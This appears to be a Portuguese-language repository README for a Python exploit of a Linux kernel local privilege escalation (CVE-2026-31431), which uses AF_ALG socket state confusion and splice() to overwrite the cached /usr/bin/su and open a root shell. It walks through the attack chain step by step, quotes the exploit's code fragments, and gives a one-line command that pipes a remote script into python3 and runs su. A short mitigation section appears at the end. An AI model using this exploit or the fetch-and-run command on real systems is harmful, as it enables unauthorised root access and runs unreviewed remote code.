
Exploit em Python para escalonamento local de privilégios no kernel Linux (CVE-2026-31431) usando confusão de estado de socket AF_ALG e splice() para obter escrita arbitrária de arquivos e acesso root.
Este repositório é estritamente para fins educacionais e de pesquisa em segurança cibernética. O código do exploit é analisado para entender a vulnerabilidade subjacente, facilitar a correção e desenvolver estratégias defensivas. Não use isso contra sistemas que você não possui ou para os quais não tem autorização explícita para testar.
"Copy Fail" é uma vulnerabilidade crítica de Escalação de Privilégios Local (LPE) encontrada no Kernel Linux. Ela permite que um usuário sem privilégios obtenha acesso root explorando uma falha na forma como o kernel lida com operações de memória entre o sistema de arquivos e a API de Criptografia Assíncrona (AF_ALG).
O exploit em Python fornecido combina uma série de syscalls e interfaces obscuras do Linux para alcançar uma escrita arbitrária fora dos limites (OOB) na memória do kernel, que é então convertida em uma escrita arbitrária de arquivo no disco.
Aqui está a análise passo a passo da cadeia de ataque:
AF_ALGa=s.socket(38, 5, 0)
a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"))
O script cria um socket AF_ALG (Família 38). Essa interface permite que aplicações em espaço de usuário descarreguem operações criptográficas para o kernel. Ele especificamente solicita uma cadeia de cifra AEAD (Autenticação de Dados Associados com Criptografia) combinando HMAC-SHA256 e CBC-AES.
setsockoptv(h,1,d('0800010000000010'+'0'*64))
v(h,5,None,4)
O script manipula o estado interno do socket usando setsockopt. O payload hexadecimal e o argumento None são cuidadosamente elaborados para acionar uma condição de limite ou estouro de inteiro no gerenciamento de buffer da API de criptografia do kernel. Isso "falha" a operação de cópia com segurança dentro do kernel, deixando o socket em um estado inconsistente e vulnerável.
splice()n=g.splice; n(f,w,o,offset_src=0); n(r,u.fileno(),o)
Este é o núcleo do exploit. Em vez de ler dados para o espaço de usuário e escrevê-los de volta, splice() move dados diretamente entre descritores de arquivo inteiramente no espaço do kernel.
O script abre /usr/bin/su (um binário SUID root) e tenta fazer splice de dados dele para o socket AF_ALG mal configurado. Como o estado do socket foi corrompido na Etapa 2, a verificação de limites do kernel falha durante essa operação zero-copy.
e=zlib.decompress(d("78da..."))
while i<len(e):c(f,i,e[i:i+4]);i+=4
O script descompacta um payload comprimido (provavelmente um pequeno shellcode ou blob binário modificado). Ele entra em um loop, enviando esse payload 4 bytes por vez para o buffer do socket corrompido. Devido à falha na verificação de limites, essas escritas de 4 bytes caem em offsets arbitrários no cache de páginas do kernel—o espaço de memória exato onde /usr/bin/su está carregado.
g.system("su")
Ao sobrescrever ponteiros de instrução específicos ou verificações lógicas dentro da versão em cache de páginas de /usr/bin/su, o atacante modifica o comportamento do binário. Quando system("su") é chamado, ele executa o binário SUID modificado. O binário roda como root mas pula a verificação padrão de senha, levando o atacante diretamente a um shell root.
Baixe e execute copyfail.py no seu sistema Linux ou use a solicitação curl abaixo para execução rápida
curl https://copy.fail/exp | python3 && su
id
https://github.com/user-attachments/assets/1f6c9365-710e-4241-889f-cb30af6d6f2e
AF_ALG: Se o descarregamento criptográfico não for necessário para suas cargas de trabalho, desative o módulo do kernel af_alg adicionando blacklist af_alg em /etc/modprobe.d/blacklist.conf.splice(), socket() (especificamente a família 38) e setsockopt() usando filtros Seccomp estritos.